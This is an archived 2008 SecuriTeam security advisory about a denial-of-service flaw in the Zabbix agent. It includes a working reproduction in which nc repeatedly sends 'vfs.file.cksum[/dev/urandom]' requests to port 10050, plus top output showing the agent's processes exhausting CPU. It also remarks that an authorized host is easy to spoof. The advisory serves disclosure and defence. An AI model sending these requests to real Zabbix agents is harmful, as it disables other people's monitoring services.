

# [UNIX] Zabbix (zabbix\_agentd) Denial of Service

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-03/msg00052.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxx)>
  - *Date:* 16 Mar 2008 14:53:28 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Zabbix (zabbix\_agentd) Denial of Service

---

## SUMMARY

<<http://www.zabbix.com/>> ZABBIX offers "advanced monitoring, alerting and visualization features today which are missing in other monitoring systems, even some of the best commercial ones". There is some DoS issue with Zabbix which can be exploited by a malicious user from an authorized host.

## DETAILS

An attacker on the authorized host can cause the zabbix\_agentd to hang, over-consume CPU resources.

This can be triggered by sending the agent a file checksum request (`vfs.file.cksum[file]`) with file argument being some "special" device node like `/dev/zero` or `/dev/urandom` (the latter rises kernel CPU usage even more).

If the malicious user sends `<number_of_zabbix_agentd_children>` requests, then the zabbix\_agentd service will not be able to serve any requests until it's restarted.

## [UNIX] Zabbix (zabbix\_agentd) Denial of Service

Here's some example session :

```
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost
10050 &
[1] 24429
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost
10050 &
[2] 24431
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost
10050 &
[3] 24433
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost
10050 &
[4] 24435
```

..and some output from top:

<snip>

Tasks: 183 total, 5 running, 178 sleeping, 0 stopped, 0 zombie

Cpu(s): 2.0%us, 97.0%sy, 1.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st

<snip>

```
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
```

```
24381 zabbix 30 5 5056 1032 768 R 65 0.1 4:16.01 zabbix_agentd
24382 zabbix 30 5 5068 1044 776 R 50 0.1 4:12.18 zabbix_agentd
24380 zabbix 30 5 5068 1044 776 R 50 0.1 4:01.24 zabbix_agentd
24379 zabbix 30 5 5056 1036 772 R 31 0.1 4:08.24 zabbix_agentd
```

From this point the, zabbix\_agentd accepts new connections, but does not serve them.

The malicious user needs to connect from an authorized host, but it's not so hard to spoof it if he's on the same Ethernet segment as the host running the zabbix\_agent.

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:mrangelov@xxxxxxxxxx>> Milen Rangelov.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.